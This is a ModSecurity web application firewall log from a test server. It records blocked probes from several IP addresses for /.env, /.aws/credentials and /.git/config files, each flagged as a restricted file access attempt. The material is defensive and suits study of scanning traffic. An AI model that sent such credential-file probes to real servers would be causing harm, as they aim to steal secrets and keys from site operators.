[Thu Nov 07 01:26:58.593430 2024] [:error] [pid 3147572] [client 179.43.149.114:45398] [client 179.43.149.114] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.exemple&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.exemple&quot;] [unique_id &quot;ZywJUqqAVaV4sXh5xxDgtQAAAAE&quot;]
[Thu Nov 07 01:26:58.593924 2024] [:error] [pid 3147572] [client 179.43.149.114:45398] [client 179.43.149.114] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.exemple&quot;] [unique_id &quot;ZywJUqqAVaV4sXh5xxDgtQAAAAE&quot;]
[Thu Nov 07 01:26:58.594419 2024] [:error] [pid 3147572] [client 179.43.149.114:45398] [client 179.43.149.114] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.exemple&quot;] [unique_id &quot;ZywJUqqAVaV4sXh5xxDgtQAAAAE&quot;]
[Thu Nov 07 01:26:58.755606 2024] [:error] [pid 3147541] [client 179.43.149.114:45412] [client 179.43.149.114] ModSecurity: Warning. Matched phrase &quot;.aws/credentials&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;ZywJUhBu-oeYjG34ATP3IQAAAAM&quot;]
[Thu Nov 07 01:26:58.756069 2024] [:error] [pid 3147541] [client 179.43.149.114:45412] [client 179.43.149.114] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;ZywJUhBu-oeYjG34ATP3IQAAAAM&quot;]
[Thu Nov 07 01:26:58.756533 2024] [:error] [pid 3147541] [client 179.43.149.114:45412] [client 179.43.149.114] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;ZywJUhBu-oeYjG34ATP3IQAAAAM&quot;]
[Thu Nov 07 16:27:05.309559 2024] [:error] [pid 3159443] [client 45.148.10.206:58350] [client 45.148.10.206] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZyzcSRmTjcGv_FU_k9B1GQAAAAU&quot;]
[Thu Nov 07 16:27:05.311881 2024] [:error] [pid 3159443] [client 45.148.10.206:58350] [client 45.148.10.206] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZyzcSRmTjcGv_FU_k9B1GQAAAAU&quot;]
[Thu Nov 07 16:27:05.313572 2024] [:error] [pid 3159443] [client 45.148.10.206:58350] [client 45.148.10.206] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZyzcSRmTjcGv_FU_k9B1GQAAAAU&quot;]
[Fri Nov 08 03:46:58.169039 2024] [:error] [pid 3173237] [client 179.43.149.114:51602] [client 179.43.149.114] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;Zy17ont0cx6KMM2Kf7HV7QAAAAE&quot;]
[Fri Nov 08 03:46:58.169617 2024] [:error] [pid 3173237] [client 179.43.149.114:51602] [client 179.43.149.114] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;Zy17ont0cx6KMM2Kf7HV7QAAAAE&quot;]
[Fri Nov 08 03:46:58.170075 2024] [:error] [pid 3173237] [client 179.43.149.114:51602] [client 179.43.149.114] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;Zy17ont0cx6KMM2Kf7HV7QAAAAE&quot;]
[Fri Nov 08 03:46:58.212939 2024] [:error] [pid 3173297] [client 179.43.149.114:51618] [client 179.43.149.114] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.exemple&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.exemple&quot;] [unique_id &quot;Zy17opPNB__TzPMU7SaNAwAAAAU&quot;]
[Fri Nov 08 03:46:58.213456 2024] [:error] [pid 3173297] [client 179.43.149.114:51618] [client 179.43.149.114] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.exemple&quot;] [unique_id &quot;Zy17opPNB__TzPMU7SaNAwAAAAU&quot;]
[Fri Nov 08 03:46:58.213887 2024] [:error] [pid 3173297] [client 179.43.149.114:51618] [client 179.43.149.114] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.exemple&quot;] [unique_id &quot;Zy17opPNB__TzPMU7SaNAwAAAAU&quot;]
[Fri Nov 08 03:46:58.344024 2024] [:error] [pid 3173238] [client 179.43.149.114:51658] [client 179.43.149.114] ModSecurity: Warning. Matched phrase &quot;.aws/credentials&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;Zy17og02DxhwpOtIN5365QAAAAI&quot;]
[Fri Nov 08 03:46:58.344483 2024] [:error] [pid 3173238] [client 179.43.149.114:51658] [client 179.43.149.114] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;Zy17og02DxhwpOtIN5365QAAAAI&quot;]
[Fri Nov 08 03:46:58.344913 2024] [:error] [pid 3173238] [client 179.43.149.114:51658] [client 179.43.149.114] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.aws/credentials&quot;] [unique_id &quot;Zy17og02DxhwpOtIN5365QAAAAI&quot;]
[Sat Nov 09 13:15:31.551030 2024] [:error] [pid 3197613] [client 179.43.189.138:42242] [client 179.43.189.138] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Zy9SY1_8lQDUII8pxCob5gAAAAE&quot;]
[Sat Nov 09 13:15:31.554466 2024] [:error] [pid 3197613] [client 179.43.189.138:42242] [client 179.43.189.138] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Zy9SY1_8lQDUII8pxCob5gAAAAE&quot;]
[Sat Nov 09 13:15:31.554695 2024] [:error] [pid 3197613] [client 179.43.189.138:42242] [client 179.43.189.138] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Zy9SY1_8lQDUII8pxCob5gAAAAE&quot;]
[Sat Nov 09 13:15:31.584468 2024] [:error] [pid 3197612] [client 179.43.189.138:42254] [client 179.43.189.138] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;Zy9SY9yV4ogG0i4EOWdmVAAAAAA&quot;]
[Sat Nov 09 13:15:31.585034 2024] [:error] [pid 3197612] [client 179.43.189.138:42254] [client 179.43.189.138] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;Zy9SY9yV4ogG0i4EOWdmVAAAAAA&quot;]
[Sat Nov 09 13:15:31.585452 2024] [:error] [pid 3197612] [client 179.43.189.138:42254] [client 179.43.189.138] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;Zy9SY9yV4ogG0i4EOWdmVAAAAAA&quot;]
[Sat Nov 09 20:39:28.773616 2024] [:error] [pid 3198943] [client 45.148.10.206:60234] [client 45.148.10.206] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Zy-6cHdzLahsWaSfigonHQAAAAY&quot;]
[Sat Nov 09 20:39:28.774219 2024] [:error] [pid 3198943] [client 45.148.10.206:60234] [client 45.148.10.206] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Zy-6cHdzLahsWaSfigonHQAAAAY&quot;]
[Sat Nov 09 20:39:28.774694 2024] [:error] [pid 3198943] [client 45.148.10.206:60234] [client 45.148.10.206] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Zy-6cHdzLahsWaSfigonHQAAAAY&quot;]
[Sun Nov 10 18:00:39.558778 2024] [:error] [pid 3231366] [client 45.148.10.206:44004] [client 45.148.10.206] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZzDmt3aXq9GF-b66HSv_ywAAAC0&quot;]
[Sun Nov 10 18:00:39.559658 2024] [:error] [pid 3231366] [client 45.148.10.206:44004] [client 45.148.10.206] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZzDmt3aXq9GF-b66HSv_ywAAAC0&quot;]
[Sun Nov 10 18:00:39.560077 2024] [:error] [pid 3231366] [client 45.148.10.206:44004] [client 45.148.10.206] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZzDmt3aXq9GF-b66HSv_ywAAAC0&quot;]
[Mon Nov 11 09:59:38.558577 2024] [:error] [pid 3242328] [client 103.102.230.7:35780] [client 103.102.230.7] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZzHHemKN8a8fzbBmtol5VAAAABA&quot;]
[Mon Nov 11 09:59:38.559228 2024] [:error] [pid 3242328] [client 103.102.230.7:35780] [client 103.102.230.7] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZzHHemKN8a8fzbBmtol5VAAAABA&quot;]
[Mon Nov 11 09:59:38.559735 2024] [:error] [pid 3242328] [client 103.102.230.7:35780] [client 103.102.230.7] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;ZzHHemKN8a8fzbBmtol5VAAAABA&quot;]
